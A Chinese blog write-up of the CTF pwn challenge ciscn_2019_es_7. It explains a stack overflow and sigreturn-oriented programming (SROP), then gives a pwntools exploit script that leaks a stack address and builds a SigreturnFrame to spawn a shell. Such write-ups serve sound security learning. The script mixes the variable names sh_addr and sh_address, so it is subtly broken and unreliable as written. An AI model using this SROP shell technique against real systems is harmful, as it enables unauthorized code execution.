ciscn_2019_es_7

ciscn_2019_es_7

惯例线chacksec一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1MCKrVyi-1677491272224)(1677381625059.png)]

买逆函数没什么营养直接跳转到vuln函数

可以发现很明显的系统调用以及栈溢出 预计是一道SROP题

由于buf的大小只有0x10因此会打印

在这里插入图片描述

有趣的是题目这里为了减小难度直接将gadget给了我们(c语言没什么营养直接上汇编)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LfYFETW3-1677491272225)(1677426639287.png)]

相关知识点链接: SROP - CTF Wiki (ctf-wiki.org)

【该链接直达ctfwikisrop知识点 建议先看完srop知识点再来解题】

对此知识点仍有疑惑的师傅可以移步看这篇大佬写的博客 非常详细且清楚 Srop 原理与利用方法 - z2yh - 博客园 (cnblogs.com)

这里简单讲一下:

signal机制:

  1. 内核向某个进程发送signal机制,该进程被暂时挂起,进入内核态
  2. 然后内核为该进程保存对应的上下文,然后跳转到之前注册号的signal handler中处理相应的signal
  3. 当signal返回后内核为该进程恢复之前保存的上下文 最终恢复进程的执行。

漏洞原因:

  • 在sigreturn利用signal frame回复所有寄存器以回到之前的状态时没有验证signal的产生和signal是否一一对应
  • 当异常产生后我们把signal frame保存到栈但栈是用户空间的栈也就意味着用户可能可以修改signal frame当我们恢复时signal可能被篡改了

注意:我们要利用pwntools中的功能实现signal的构造

syscall(系统调用)是根据rax寄存器里的值,来决定进行多少号的系统调用。

在x64系统中,15号系统调用对应rt_sigreturn

我们发现在汇编中存在systemcall因此认为事srop

为了实现srop我们需要满足四个条件

  1. 攻击者要通过栈溢出等漏洞可以篡改栈上的内容
  2. 需要知道栈的地址(比如写入的/bin/sh的地址)
  3. 需要知道syscall指令在内存中的地址
  4. 需要知道signal return系统调用的内存地址

首先由于存在栈溢出 条件一满足

而利用ROPgadget功能我们也可以很轻松的得到syscall ret在程序中的地址 条件三满足

而当我们打印时打印长度超过了buf的实际长度因此会将后面的信息也打印出来 而我们通过debug模式可以发现接收到的信息0x20处是栈上的地址此时我们利用 info proc map 查看当前的内存映射

在stack段上找“/bin/sh”的地址

find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh"

然后利用得到的地址与泄露的地址进行比较计算出offset

这样我们就可以利用泄露处的地址减-offset来得到"/bin/sh"的地址栏 条件二满足

接下来就是SROP的关键步骤:需要知道signal return系统调用的内存地址

在x64系统中,15号系统调用对应rt_sigreturn 因此我们只需要

注意此处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1EgzGSTH-1677491272226)(1677426639287.png)]

需要关注的是pwntools已经帮助我们集成了srop工具 因此我们只需要王他提供的模板里面天入东西即可

sigframe=SigreturnFrame()#pwntools集成的srop工具
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh_address#bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret

exp:

from pwn import *
from LibcSearcher import *
io=remote('')
syscall=0x400517
sigreturn=0x4004da    #mov     rax, 0Fh
system=0x4004e2       #mov     rax, 3Bh (execve对应的调用号是59即0x3B)
rax=0x4004f1		  #xor     rax, rax (将rax清零)
io.send("/bin/sh"+"\x00"*9+p64(rax))
io.recv(0x20)
stack_addr=u64(io.recv(8))
sh_addr=stack_addr-0x118
io.recv(8)

sigframe=SigreturnFrame()#pwntools集成的srop工具
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh_address#bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
io.send("/bin/sh"+"\x00"*0x9+p64(sigreturn)+p64(syscall)+str(sigframe))

io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值